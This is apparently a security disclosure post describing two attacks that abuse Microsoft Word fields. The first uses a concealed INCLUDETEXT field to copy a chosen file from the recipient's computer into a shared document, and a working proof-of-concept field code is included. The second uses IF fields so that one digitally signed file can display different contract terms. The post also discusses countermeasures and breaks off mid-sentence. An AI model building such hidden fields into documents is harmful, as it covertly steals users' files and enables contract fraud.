I have stumbled onto a couple potential security issue in Microsoft Word.  In both cases the adversar
y (mis)uses fields to perpetrate
 the attack.  It's important to note that fields are not macros and, as far as I know, cannot be disa
bled by the user.  I am providing
 a basic description along with a proof-of-concept demo.  I am fairly certain that someone with free 
time and imagination can expand
 on these principles, possibly applying them to other products.

Following tradition I'll use Alice and Bob as the two parties involved.  Alice will be the adversary.

1) Document collaboration spyware.
Attack Basics:  Alice sends Bob a Word document for revisions.  After Bob edits, saves, and mails it 
back to Alice the file will also
 include contents of another file(s) from Bob's computer that Alice has specified a priori.  To achie
ve this, Alice embeds the INCLUDETEXT
 field into the document.  The field results in inclusion of a specified file into the current docume
nt.  Of course, Alice must be
 careful include it in such a way that it does not become apparent to Bob.  Alice can do all the usua
l things like hidden text, small
 white font, etc.  Alternatively (and in my opinion cleaner, she can embed the INCLUDETEXT field with
in a dummy IF field that always
 returns an empty string.  In this case, the only way Bob can notice the included file is if he goes 
browsing through field codes.

Attack Improvements:
The disadvantage of the basic attack is that Alice must rely on Bob to update the INCLUDETEXT field t
o import the file.  If the document
 is large and contains tables of contents, figures, etc. then Bob is very likely to update all the fi
elds.  However, Alice would like
 to make sure that the field gets updated regardless of whether Bob does it manually or not.  Automat
ic updates can be forced if a
 DATE field is embedded into the INCLUDETEXT and it is the last date field in the document (don't ask
 me why).

Proof of concept:
Inserting the following field structure into the footer of the last page will steal the contents of c
:\a.txt on the target's computer.
  Keep in mind the plain curly braces below must actually be replaced with Word field braces (you can
 either use the menus to insert
 fields one by one, or ask google how to do it by hand).
{ IF { INCLUDETEXT { IF { DATE } = { DATE } "c:\\a.txt" "c:\\a.txt" }  \* MERGEFO
RMAT  } = "" "" \* MERGEFORMAT }

Countermeasures:
The only thing you can do now is decide how paranoid you want to be.  If you must edit and send out a
 Word file with unknown origins,
 you may want to manually go through the fields.  It would be nice to be able to force user confirmat
ion (via a dialog box) for all
 includes.  Alternatively one could write a scanner.  Of course an optional standalone checker will n
ever be used by those most at
 risk.


2) Oblivious signing
Attack Basics:  Alice and Bob wants to sign a contract saying that Alice will pay Bob $100.  Alice ty
pes it up as a Word document
 and both digitally sign it.  In a few days Bob comes to Alice to collect his money.  To his surprise
, Alice presents him with a Word
 document that states he owes her $100.  Alice also has a valid signature from Bob for the new docume
nt.  In fact, it is the exact
 same signature as for the contract Bob remembers signing and, to Bob's great amazement, the two Word
 documents are actually identical
 in hex.  What Alice did was insert an IF field that branched on an external input such as date or fi
lename.  Thus even though the
 sign contents remained the same, the displayed contents changed because they were partially dependen
t on unsigned inputs.  The basic
 point is that very few users know the actual contents of their Word documents and it should be obvio
us that one should never sign
 what one cannot read.  Of course, Bob could contest the contract in court.  An